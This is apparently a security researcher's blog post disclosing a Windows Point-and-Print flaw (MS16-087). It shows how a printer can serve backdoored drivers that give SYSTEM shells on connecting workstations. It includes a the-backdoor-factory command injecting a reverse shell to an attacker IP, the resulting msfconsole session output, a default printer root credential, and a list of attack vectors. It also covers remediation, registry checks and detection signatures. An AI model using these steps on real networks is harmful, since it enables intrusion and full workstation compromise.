Printers present an interesting case in the world of IoT (Internet of Things), as they are very powerful hardware compared to most IoT devices, yet are not typically thought of as a “real” computer by most administrators. Over the years, many security researchers have studied and reported on printer vulnerabilities. However, the vast majority of this research focused on how to hack the printer itself in order to do things such as change the display on the printer or steal the documents that were printed. In this case, we investigate how to use the special role that printers have within most networks to actually infect end-user devices and extend the footprint of their attack within the network.
A summary of this analysis and video is available here.
To understand this issue, we need to understand a bit about Microsoft Web Point-and-PrintProtocol (MS-WPRN) and why it works the way that it does.
Most organizations try to apply the principle of least privilege to the devices in their networks. This works pretty well for things like laptops or desktops since the hardware they use doesn’t change that often. However printers are a bit different. While they still need drivers, printers need to support virtually any user that wants to connect to them. As end-users move through a build, they naturally want to use the printer closest to them. Mobile users expect to be able to easily connect and use a printer when they come into the office. In addition, most organizations don’t standardize on a single printer, and will have multiple models and manufacturers often within a single network.
So instead of having system administrators push all possible printer drivers to all workstations in the network, the solution was to develop a way to deliver the driver to a user device right before the printer is used. And this is where Point-and-Print showed up. This approach stores a shared driver on the printer or print server, and only the users of that printer receive the driver that they need. At first glance, this is a practical and simple solution to driver deployment. The user gets access to the printer driver they need without requiring an administrator – a nice win-win.
The problem is that for this scheme to work nicely from an end-user perspective, an exception was required. Normally, User Account Controls are in place to warn or prevent a user from installing a new driver. To make printing easier, an exception was created to avoid this control. So in the end, we have a mechanism that allows downloading executables from a shared drive, and run them as system on a workstation without generating any warning on the user side. From an attacker perspective, this is almost too good to be true, and of course we had to give it a try.
In our case we are using a real printer. Since most printers are loaded with features, it was not too hard to find a bug that provided access to the underlying system. In this case, we were able to unpack a firmware update to gather some credentials and understand the file system layout. A binwalk magic file is provided in the Tools section at the end of this page, and after some digging we found the file related to those drivers. They need to be on a shared driver “print$” in smb, and typically include multiple flavors for various types of architecture (e.g. x86, x64, ppc, alpha). Look for directories named: W32X86, x64, IA64, color, etc.
We simply took the x86 dll file out of the printer, which can be done directly or through rpcclient, and patched it with “the-backdoor-factory”.
./backdoor.py -f ~/Desktop/i386/hpygidUI15.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.1.135
This gave us back a dll file with an injected payload inside of it.
Putting the dll back in the original directory could be done in multiple ways. You can typically write back to the print$ share if you have domain admin credential. Alternatively, with local root access to the printer you can overwrite the existing file with the backdoored one we just created. It’s still amazing that vendors leave the default hidden credentials on the machine. If it’s not in your cracking dictionary, it’s always good to add root:myroot just in case.
In our example we used a mix of Windows XP 32bit, Windows 7 32bit, Windows 7 64 bit, Windows 2008 R2 AD 64, Ubuntu CUPS, Windows 2008 R2 64 print server and an unnamed printer. For Windows 7 to work nicely with Point-and-Print, it needed to be configure on the Active Directory side and pushed as a policy. A bit more about it in the Internet Printing Potocol section below.
After doing the normal add printer with auto discovery and selecting our printer (with the backdoored dll), the windows system goes through the normal driver acquisition and installation process.
This stage allow installation of a printer driver without any user warning, uac or even binary signature verification, and all under the system rights.
This gave us the following on the msfconsole side:
[*] Started reverse TCP handler on 192.168.1.135:6666 [*] Starting the payload handler... [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.1.109 [*] Command shell session 6 opened (192.168.1.135:6666 -> 192.168.1.109:49242) at 2016-04-15 21:33:00 -0400 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>echo %USERDOMAIN%\%USERNAME% echo %USERDOMAIN%\%USERNAME% VN-TEST\WS-01-WIN7-32$ C:\Windows\system32>
Other Possible Vectors
Given the nature of this issue, there are many ways that the remote code execution can be used. In the example above, we reverse engineered a desktop printer, but the same driver loading feature could be achieved with a different software stack and used in different scenarios. Some of those include but are not limited to:
- Watering hole attacks
- Backdooring an existing printer or printer server.
- Microsoft print server: driver path: c:\windows\system32\spool\drivers\*\3\…
- Linux cups server: check for share driver print$ in the configuration.
- Multiple vendors support Point-and-Print on the printer itself.
- Re-flash printer with backdoored drivers.
- Create a fake print server and broadcast with auto discovery.
- Backdooring an existing printer or printer server.
- Privilege escalation
- Use the add printer as a privileged escalation mechanism to get system access.
- Mitm attack to the printer and inject the backdoored driver instead of the real one.
- Going more global with IPP and Webpnp.
Infecting Remotely Using Internet Printing Protocol and webPointNPrint
So far we have constrained ourselves to an internal network where a device was either inserted or infected and used to further infect devices connecting to it. Internet printing protocol (IPP) and webpointNprint allow us to extend this issue outside the intranet to the internet. IPP allow for the same mechanism to load driver from the printer. This can be done with following piece of code from the MS print server.
..... <OBJECT ID="OleInstall" CLASSID="CLSID:C3701884-B39B-11D1-9D68-00C04FC30DF6" ... strShare = ObjCvt.DecodeUnicodeName ("HP~20Officejet~208040~20series") strServer = "192.168.1.3" .... Function StartDownload strInstallURL = "https://" & strServer & "/printers/" & "printerName" & "/.printer?createexe&" & GetPlatform OleInstall.InstallPrinter "\\" & strServer & "\" & strShare, strInstallURL End Function .... This url contain a file that is a ".webpnp" or webpointNprint.
Let’s see the content of that nice 10MB binary file.
$binwalk ./8CD4X810.webpnp DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Microsoft Cabinet archive data, 9319731 bytes, 3 files 7416560 0x712AF0 Zip archive data, at least v2.0 to extract, compressed size: 44391, uncompressed size: 67416, name: "Resources/GIL.TTF" ----------------------------- Extracting the content.. $ cabextract 8CD4X810.cab Extracting cabinet: 8CD4X810.cab extracting hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab extracting cab_ipp.dat extracting 8CD4X810.bin
The content of the .dat file seems to be a list of argument for printui.dll
Short version of printui.dll help file for quick reference of what is happening. rundll32 printui.dll,PrintUIEntry /? /if => install printer using inf file /Q /b => base printer name /f => inf input file /r => port name /m => printer driver model name /n => printer name /a => binary file name
$ cat cab_ipp.dat ??/if /Q "hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab" /b "\\https://192.168.1.3\HP Officejet 8040 series" /f "hpygid15.inf" /r "https://192.168.1.3/printers/HP~20Officejet~208040~20series/.printer" /m "HP Officejet 8040 series" /n "\\PRINTERSRV\HP Officejet 8040 series" /a "8CD4X810.bin"
Extraction of the other cab in cab.. $ cabextract -d temp hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab Extracting cabinet: hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab extracting temp/hpoj_8040.gpd extracting temp/hpygid15-pipelineconfig.xml extracting temp/hpygid15.cat extracting temp/hpygid15.inf extracting temp/hpygid15.ini extracting temp/hpygid15.PNF extracting temp/hpygidDataMap.xml extracting temp/hpygidMN15.gpd extracting temp/LOCALE.GPD extracting temp/MSXPSINC.GPD extracting temp/STDDTYPE.GDL extracting temp/STDNAMES.GPD extracting temp/STDSCHEM.GDL extracting temp/STDSCHMX.GDL extracting temp/V3/i386/hpbmtxr15.dll extracting temp/V3/i386/hpbuio.dll extracting temp/V3/i386/hpfime52.dll extracting temp/V3/i386/hpinkcoiDE11.dll extracting temp/V3/i386/hpinkinsDE11.exe extracting temp/V3/i386/hpinkstsDE11.dll extracting temp/V3/i386/hpinkstsDE11LM.dll extracting temp/V3/i386/hpUIMDDialog15.dll extracting temp/V3/i386/hpygiddrv15.dll extracting temp/V3/i386/hpygidres15.dll extracting temp/V3/i386/hpygidudm.dll extracting temp/V3/i386/hpygidUI15.dll extracting temp/V3/i386/mtxr.dll extracting temp/V3/i386/mxdwdrv.dll extracting temp/V3/i386/UNIDRV.DLL extracting temp/V3/i386/UNIDRV.HLP extracting temp/V3/i386/UNIDRVUI.DLL extracting temp/V3/i386/UNIRES.DLL extracting temp/V3/i386/xpssvcs.dll extracting temp/XP_hpygid15-pipelineconfig.xml
This is where the files that are going to be loaded reside. The files that we patched from the previous attack ran just as well whether delivered through smb, Point-and-Print, or under webpnp.
Root Cause of the Issue
Tracing the issue brings us to a ntprint.dll library, specifically around the function “PSetupDownloadAndInstallLegacyDriver”. Specifically this is the function responsible for checking the policy and performing the installation with elevated privilege.
While there are valid deployment reasons to want to allow driver install without administrator rights, a warning should probably always be enabled and binary signature should probably always be checked in an attempt to reduce the attack surface.
Vectra and Microsoft collaborated during the investigation of this issue, and Microsoft has delivered a fix for CVE-2016-3238 (MS16-087), and CVE-2016-3239 as part of Security Bulletin MS16-087, which is available here.
The behavior of Point-and-Print can be defined with GPO to a level of granularity that should give admin control of the risk. While it’s possible to disable Point-and-Print or to add a warning and request UAC, this just brings us back the first problem of how to manage the drivers so the user could install the driver without having to contact IT every time.
Microsoft provides the needed documentation at ,, and development of enhanced Point-and-Print (v4), attempts to remediate some of these issues. Migrating to a printer supporting the newest version of the protocol and newer version of windows could minimize a portion of the attack surface. We have not reviewed the security features of v4 / enhanced Point-and-Print further than their specification at this point, however backward compatibility might render those effort moot.
Checking Your Networks
Host registry for enabling Point-and-Print
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint Restricted registry key TrustedServers registry key ServerList registry key InForest registry key NoWarningNoElevationOnInstall registry key UpdatePromptSettings registry key
Scanning your network for Point n Print driver
nmap 192.168.1.0/24 -p 445 --script smb-enum-shares ----------------------------------------------------------------------------------------- | smb-enum-shares: | note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED) | account_used: <blank> | ADMIN$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED | Anonymous access: <none> | C$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED | Anonymous access: <none> | IPC$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED | Anonymous access: READ | PRINT$: << Where drivers are kept. | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED |_ Anonymous access: <none>
Network content inspection signatures for egress protection for the IPP / WEBPNP variant of the attack.
1- “User-Agent: Internet Add Printer”
2- Downloading of file with extension “.webpnp”
This attack results in having “system” rights on any workstation that connect to your printer. We are effectively transforming a printer in an internal drive-by exploit kit, where we can just wait for people to come get infected without any warning. On a print server, cups or Microsoft, we could expect to have anti-virus, file integrity check, or other solution to monitor the host and change to it. However a printer driveris much less likely to have any of those defenses in place. Not only will that unit be able to infect multiple machines in your network, but it would also be able to reinfect over and over. Finding the root cause might be harder since the printer itself might not be your usual suspect. This situation comes to life because we end-up delagating the responsibility of holding the driver safely to the printer, and those devices might not be as secure or impregnable as one would hope. As a result, what we should probably apply the same level of security to printers as we would for other critical infrastructure in networks, such as Active Directory and update servers.
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.